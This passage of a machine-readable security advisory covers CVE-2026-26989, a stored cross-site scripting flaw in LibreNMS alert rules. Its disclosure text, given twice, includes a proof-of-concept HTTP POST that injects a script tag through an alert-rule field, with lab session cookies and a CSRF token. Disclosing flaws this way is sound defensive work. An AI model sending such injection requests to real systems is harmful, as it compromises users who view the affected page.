"vers:unknown/23.8.2", "product": { "name": "vers:unknown/23.8.2", "product_id": "CSAFPID-1001695", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.8.2" } } }, { "category": "product_version_range", "name": "vers:unknown/23.9.0", "product": { "name": "vers:unknown/23.9.0", "product_id": "CSAFPID-1001696", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/23.9.1", "product": { "name": "vers:unknown/23.9.1", "product_id": "CSAFPID-1001697", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.9.1" } } }, { "category": "product_version_range", "name": "vers:unknown/24.1.0", "product": { "name": "vers:unknown/24.1.0", "product_id": "CSAFPID-1342089", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.10.0", "product": { "name": "vers:unknown/24.10.0", "product_id": "CSAFPID-1321778", "product_identification_helper": { "cpe": "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*", "purl": "pkg:composer/librenms/librenms@24.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.10.1", "product": { "name": "vers:unknown/24.10.1", "product_id": "CSAFPID-3665971", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.10.1" } } }, { "category": "product_version_range", "name": "vers:unknown/24.11.0", "product": { "name": "vers:unknown/24.11.0", "product_id": "CSAFPID-3015210", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.12.0", "product": { "name": "vers:unknown/24.12.0", "product_id": "CSAFPID-3075139", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.12.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.2.0", "product": { "name": "vers:unknown/24.2.0", "product_id": "CSAFPID-1342093", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.3.0", "product": { "name": "vers:unknown/24.3.0", "product_id": "CSAFPID-1342085", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.4.0", "product": { "name": "vers:unknown/24.4.0", "product_id": "CSAFPID-1342090", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.4.1", "product": { "name": "vers:unknown/24.4.1", "product_id": "CSAFPID-1342084", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/24.5.0", "product": { "name": "vers:unknown/24.5.0", "product_id": "CSAFPID-1342091", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.6.0", "product": { "name": "vers:unknown/24.6.0", "product_id": "CSAFPID-1342086", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.7.0", "product": { "name": "vers:unknown/24.7.0", "product_id": "CSAFPID-1342087", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.8.0", "product": { "name": "vers:unknown/24.8.0", "product_id": "CSAFPID-1342092", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.8.1", "product": { "name": "vers:unknown/24.8.1", "product_id": "CSAFPID-1342094", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/24.9.0", "product": { "name": "vers:unknown/24.9.0", "product_id": "CSAFPID-1158317", "product_identification_helper": { "cpe": "cpe:2.3:a:librenms:librenms:24.9.0:*:*:*:*:*:*:*", "purl": "pkg:composer/librenms/librenms@24.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.9.1", "product": { "name": "vers:unknown/24.9.1", "product_id": "CSAFPID-1342088", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@24.9.1" } } }, { "category": "product_version_range", "name": "vers:unknown/25.1.0", "product": { "name": "vers:unknown/25.1.0", "product_id": "CSAFPID-3075143", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.10.0", "product": { "name": "vers:unknown/25.10.0", "product_id": "CSAFPID-5195217", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.11.0", "product": { "name": "vers:unknown/25.11.0", "product_id": "CSAFPID-5281381", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.12.0", "product": { "name": "vers:unknown/25.12.0", "product_id": "CSAFPID-5457046", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.12.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.2.0", "product": { "name": "vers:unknown/25.2.0", "product_id": "CSAFPID-3075140", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.3.0", "product": { "name": "vers:unknown/25.3.0", "product_id": "CSAFPID-3075145", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.4.0", "product": { "name": "vers:unknown/25.4.0", "product_id": "CSAFPID-3075142", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.5.0", "product": { "name": "vers:unknown/25.5.0", "product_id": "CSAFPID-3075141", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.6.0", "product": { "name": "vers:unknown/25.6.0", "product_id": "CSAFPID-3075144", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.7.0", "product": { "name": "vers:unknown/25.7.0", "product_id": "CSAFPID-3744196", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.8.0", "product": { "name": "vers:unknown/25.8.0", "product_id": "CSAFPID-5099839", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.9.0", "product": { "name": "vers:unknown/25.9.0", "product_id": "CSAFPID-5099840", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.9.1", "product": { "name": "vers:unknown/25.9.1", "product_id": "CSAFPID-5099841", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@25.9.1" } } }, { "category": "product_version_range", "name": "vers:unknown/26.1.0", "product": { "name": "vers:unknown/26.1.0", "product_id": "CSAFPID-5632926", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@26.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/26.1.1", "product": { "name": "vers:unknown/26.1.1", "product_id": "CSAFPID-5632927", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@26.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/<26.2.0", "product": { "name": "vers:unknown/<26.2.0", "product_id": "CSAFPID-5643422", "product_identification_helper": { "cpe": "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<26.2.0", "product": { "name": "vers:unknown/>=0|<26.2.0", "product_id": "CSAFPID-5632929" } } ], "category": "product_name", "name": "librenms" } ], "category": "vendor", "name": "librenms" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-26989", "cwe": { "id": "CWE-79", "name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')" }, "notes": [ { "category": "description", "text": "### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.\n\n### Details\nThe stored JavaScript is displayed at line 63 of `inlcudes/html/modal/alert_rule_list.inc.php`.\n```\n\" . e($rule_display) . \"\n```\n\n### PoC\n\nRequest PoC:\n```\nPOST /alert-rule HTTP/1.1\nHost: 192.168.236.131\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF\nX-Requested-With: XMLHttpRequest\nContent-Length: 718\nOrigin: http://192.168.236.131\nConnection: keep-alive\nReferer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules\nCookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D\nPriority: u=0\n\n_token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF&device_id=1&device_name=127.0.0.1&rule_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D&name=Test+rule&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=equal&builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=¬es=&adv_query=\n```\n\nSteps to reproduce:\n1. Create and save an alert rule within a device with the following values:\n\"image\"\n\n2. Injected JavaScript is executed:\n\"image\"\n\n\n\n### Impact\nType: Stored Cross-Site Scripting (XSS)\nAffected users: Only accounts with the admin role which can edit a device's alert rules are affected.\nAttackers need: Authenticated admin-level access.", "title": "github - https://github.com/advisories/GHSA-6xmx-xr9p-58p7" }, { "category": "description", "text": "LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below are affected by a Stored Cross-Site Scripting (XSS) vulnerability in the Alert Rules workflow. An attacker with administrative privileges can inject malicious scripts that execute in the browser context of any user who accesses the Alert Rules page. This issue has been fixed in version 26.2.0.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-26989" }, { "category": "description", "text": "LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below are affected by a Stored Cross-Site Scripting (XSS) vulnerability in the Alert Rules workflow. An attacker with administrative privileges can inject malicious scripts that execute in the browser context of any user who accesses the Alert Rules page. This issue has been fixed in version 26.2.0.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-26989" }, { "category": "description", "text": "### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.\n\n### Details\nThe stored JavaScript is displayed at line 63 of `inlcudes/html/modal/alert_rule_list.inc.php`.\n```\n\" . e($rule_display) . \"\n```\n\n### PoC\n\nRequest PoC:\n```\nPOST /alert-rule HTTP/1.1\nHost: 192.168.236.131\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF\nX-Requested-With: XMLHttpRequest\nContent-Length: 718\nOrigin: http://192.168.236.131\nConnection: keep-alive\nReferer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules\nCookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D\nPriority: u=0\n\n_token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF&device_id=1&device_name=127.0.0.1&rule_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D&name=Test+rule&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=equal&builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=¬es=&adv_query=\n```\n\nSteps to reproduce:\n1. Create and save an alert rule within a device with the following values:\n\"image\"\n\n2. Injected JavaScript is executed:\n\"image\"\n\n\n\n### Impact\nType: Stored Cross-Site Scripting (XSS)\nAffected users: Only accounts with the admin role which can edit a device's alert rules are affected.\nAttackers need: Authenticated admin-level access.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-6xmx-xr9p-58p7.json?alt=media" }, { "category": "description", "text": "LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below are affected by a Stored Cross-Site Scripting (XSS) vulnerability in the Alert Rules workflow. An attacker with administrative privileges can inject malicious scripts that execute in the browser context of any user who accesses the Alert Rules page. This issue has been fixed in version 26.2.0.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-26989.json?alt=media" }, { "category": "other", "text": "3e-05", "title": "EPSS" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "The value of the most recent CVSS (V3) score, There is exploit data available from source Nvd, Is related to (a version of) an uncommon product", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5643422", "CSAFPID-414727", "CSAFPID-414728", "CSAFPID-414729", "CSAFPID-414730", "CSAFPID-414731", "CSAFPID-414732", "CSAFPID-414733", "CSAFPID-414734", "CSAFPID-414735", "CSAFPID-414736", "CSAFPID-414737", "CSAFPID-414738", "CSAFPID-414739", "CSAFPID-414740", "CSAFPID-414741", "CSAFPID-414742", "CSAFPID-414743", "CSAFPID-414744", "CSAFPID-414745", "CSAFPID-414746", "CSAFPID-414747", "CSAFPID-414748", "CSAFPID-414749", "CSAFPID-414750", "CSAFPID-414751", "CSAFPID-414753", "CSAFPID-414754", "CSAFPID-414755", "CSAFPID-414756", "CSAFPID-414757", "CSAFPID-414758", "CSAFPID-414759", "CSAFPID-414760", "CSAFPID-414761", "CSAFPID-414762", "CSAFPID-421991", "CSAFPID-422505", "CSAFPID-422506", "CSAFPID-422507", "CSAFPID-468394", "CSAFPID-468395", "CSAFPID-468396", "CSAFPID-468397", "CSAFPID-468398", "CSAFPID-468399", "CSAFPID-468400", "CSAFPID-481797", "CSAFPID-560077", "CSAFPID-560078", "CSAFPID-560079", "CSAFPID-560080", "CSAFPID-560081", "CSAFPID-560082", "CSAFPID-560083", "CSAFPID-560084", "CSAFPID-560085", "CSAFPID-560086", "CSAFPID-560087", "CSAFPID-560088", "CSAFPID-560089", "CSAFPID-560090", "CSAFPID-560091", "CSAFPID-560092", "CSAFPID-560093", "CSAFPID-590286", "CSAFPID-590287", "CSAFPID-590288", "CSAFPID-590289", "CSAFPID-590290", "CSAFPID-590291", "CSAFPID-590292", "CSAFPID-678942", "CSAFPID-678956", "CSAFPID-730672", "CSAFPID-730673", "CSAFPID-730674", "CSAFPID-730675", "CSAFPID-730676", "CSAFPID-730677", "CSAFPID-730678", "CSAFPID-730679", "CSAFPID-730680", "CSAFPID-730681", "CSAFPID-730682", "CSAFPID-730683", "CSAFPID-747289", "CSAFPID-747290", "CSAFPID-747291", "CSAFPID-747292", "CSAFPID-748862", "CSAFPID-748863", "CSAFPID-809396", "CSAFPID-828468", "CSAFPID-828469", "CSAFPID-828470", "CSAFPID-828471", "CSAFPID-828472", "CSAFPID-828473", "CSAFPID-828474", "CSAFPID-834128", "CSAFPID-989995", "CSAFPID-989996", "CSAFPID-989997", "CSAFPID-989998", "CSAFPID-989999", "CSAFPID-990000", "CSAFPID-990001", "CSAFPID-990002", "CSAFPID-990003", "CSAFPID-990004", "CSAFPID-1001692", "CSAFPID-1001693", "CSAFPID-1001694", "CSAFPID-1001695", "CSAFPID-1001696", "CSAFPID-1001697", "CSAFPID-1158317", "CSAFPID-1165684", "CSAFPID-1321778", "CSAFPID-1342084", "CSAFPID-1342085", "CSAFPID-1342086", "CSAFPID-1342087", "CSAFPID-1342088", "CSAFPID-1342089", "CSAFPID-1342090", "CSAFPID-1342091", "CSAFPID-1342092", "CSAFPID-1342093", "CSAFPID-1342094", "CSAFPID-3015210", "CSAFPID-3075139", "CSAFPID-3075140", "CSAFPID-3075141", "CSAFPID-3075142", "CSAFPID-3075143", "CSAFPID-3075144", "CSAFPID-3075145", "CSAFPID-3623836", "CSAFPID-3665971", "CSAFPID-3744196", "CSAFPID-5099839", "CSAFPID-5099840", "CSAFPID-5099841", "CSAFPID-5195217", "CSAFPID-5281381", "CSAFPID-5457046", "CSAFPID-5632926", "CSAFPID-5632927", "CSAFPID-5632929", "CSAFPID-414752", "CSAFPID-3332595", "CSAFPID-3332596", "CSAFPID-3332597", "CSAFPID-3332598", "CSAFPID-3332599", "CSAFPID-3332600", "CSAFPID-3332601", "CSAFPID-3332602", "CSAFPID-3332603", "CSAFPID-3332604", "CSAFPID-3332605", "CSAFPID-3332606", "CSAFPID-3332607", "CSAFPID-3332608", "CSAFPID-3332609", "CSAFPID-3332610", "CSAFPID-3332611", "CSAFPID-3332612" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-6xmx-xr9p-58p7" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-6xmx-xr9p-58p7" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26989" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-26989" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-26989" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/26xxx/CVE-2026-26989.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26989" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-6xmx-xr9p-58p7.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-26989.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/librenms/librenms/security/advisories/GHSA-6xmx-xr9p-58p7" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/librenms/librenms/pull/19039" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/librenms/librenms/commit/087608cf9f851189847cb8e8e5ad002e59170c58" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/librenms/librenms/releases/tag/26.2.0" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-6xmx-xr9p-58p7" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26989" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26989.json" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-1001692", "CSAFPID-1001693", "CSAFPID-1001694", "CSAFPID-1001695", "CSAFPID-1001696", "CSAFPID-1001697", "CSAFPID-1158317", "CSAFPID-1165684", "CSAFPID-1321778", "CSAFPID-1342084", "CSAFPID-1342085", "CSAFPID-1342086", "CSAFPID-1342087", "CSAFPID-1342088", "CSAFPID-1342089", "CSAFPID-1342090", "CSAFPID-1342091", "CSAFPID-1342092", "CSAFPID-1342093", "CSAFPID-1342094", "CSAFPID-3015210", "CSAFPID-3075139", "CSAFPID-3075140", "CSAFPID-3075141", "CSAFPID-3075142", "CSAFPID-3075143", "CSAFPID-3075144", "CSAFPID-3075145", "CSAFPID-3332595", "CSAFPID-3332596", "CSAFPID-3332597", "CSAFPID-3332598", "CSAFPID-3332599", "CSAFPID-3332600", "CSAFPID-3332601", "CSAFPID-3332602", "CSAFPID-3332603", "CSAFPID-3332604", "CSAFPID-3332605", "CSAFPID-3332606", "CSAFPID-3332607", "CSAFPID-3332608", "CSAFPID-3332609", "CSAFPID-3332610", "CSAFPID-3332611", "CSAFPID-3332612", "CSAFPID-3623836", "CSAFPID-3665971", "CSAFPID-3744196", "CSAFPID-414727", "CSAFPID-414728", "CSAFPID-414729", "CSAFPID-414730", "CSAFPID-414731", "CSAFPID-414732", "CSAFPID-414733", "CSAFPID-414734", "CSAFPID-414735", "CSAFPID-414736", "CSAFPID-414737", "CSAFPID-414738", "CSAFPID-414739", "CSAFPID-414740", "CSAFPID-414741", "CSAFPID-414742", "CSAFPID-414743", "CSAFPID-414744", "CSAFPID-414745", "CSAFPID-414746", "CSAFPID-414747", "CSAFPID-414748", "CSAFPID-414749", "CSAFPID-414750", "CSAFPID-414751", "CSAFPID-414752", "CSAFPID-414753", "CSAFPID-414754", "CSAFPID-414755", "CSAFPID-414756", "CSAFPID-414757", "CSAFPID-414758", "CSAFPID-414759", "CSAFPID-414760", "CSAFPID-414761", "CSAFPID-414762", "CSAFPID-421991", "CSAFPID-422505", "CSAFPID-422506", "CSAFPID-422507", "CSAFPID-468394", "CSAFPID-468395", "CSAFPID-468396", "CSAFPID-468397", "CSAFPID-468398", "CSAFPID-468399", "CSAFPID-468400", "CSAFPID-481797", "CSAFPID-5099839", "CSAFPID-5099840", "CSAFPID-5099841", "CSAFPID-5195217", "CSAFPID-5281381", "CSAFPID-5457046", "CSAFPID-560077", "CSAFPID-560078", "CSAFPID-560079", "CSAFPID-560080", "CSAFPID-560081", "CSAFPID-560082", "CSAFPID-560083", "CSAFPID-560084", "CSAFPID-560085", "CSAFPID-560086", "CSAFPID-560087", "CSAFPID-560088", "CSAFPID-560089", "CSAFPID-560090", "CSAFPID-560091", "CSAFPID-560092", "CSAFPID-560093", "CSAFPID-5632926", "CSAFPID-5632927", "CSAFPID-5632929", "CSAFPID-5643422", "CSAFPID-590286", "CSAFPID-590287", "CSAFPID-590288", "CSAFPID-590289", "CSAFPID-590290", "CSAFPID-590291", "CSAFPID-590292", "CSAFPID-678942", "CSAFPID-678956", "CSAFPID-730672", "CSAFPID-730673", "CSAFPID-730674", "CSAFPID-730675", "CSAFPID-730676", "CSAFPID-730677", "CSAFPID-730678", "CSAFPID-730679", "CSAFPID-730680", "CSAFPID-730681", "CSAFPID-730682", "CSAFPID-730683", "CSAFPID-747289", "CSAFPID-747290", "CSAFPID-747291", "CSAFPID-747292", "CSAFPID-748862", "CSAFPID-748863", "CSAFPID-809396", "CSAFPID-828468", "CSAFPID-828469", "CSAFPID-828470", "CSAFPID-828471", "CSAFPID-828472", "CSAFPID-828473", "CSAFPID-828474", "CSAFPID-834128", "CSAFPID-989995", "CSAFPID-989996", "CSAFPID-989997", "CSAFPID-989998", "CSAFPID-989999", "CSAFPID-990000", "CSAFPID-990001", "CSAFPID-990002", "CSAFPID-990003", "CSAFPID-990004" ] } ], "title": "CVE-2026-26989" } ] }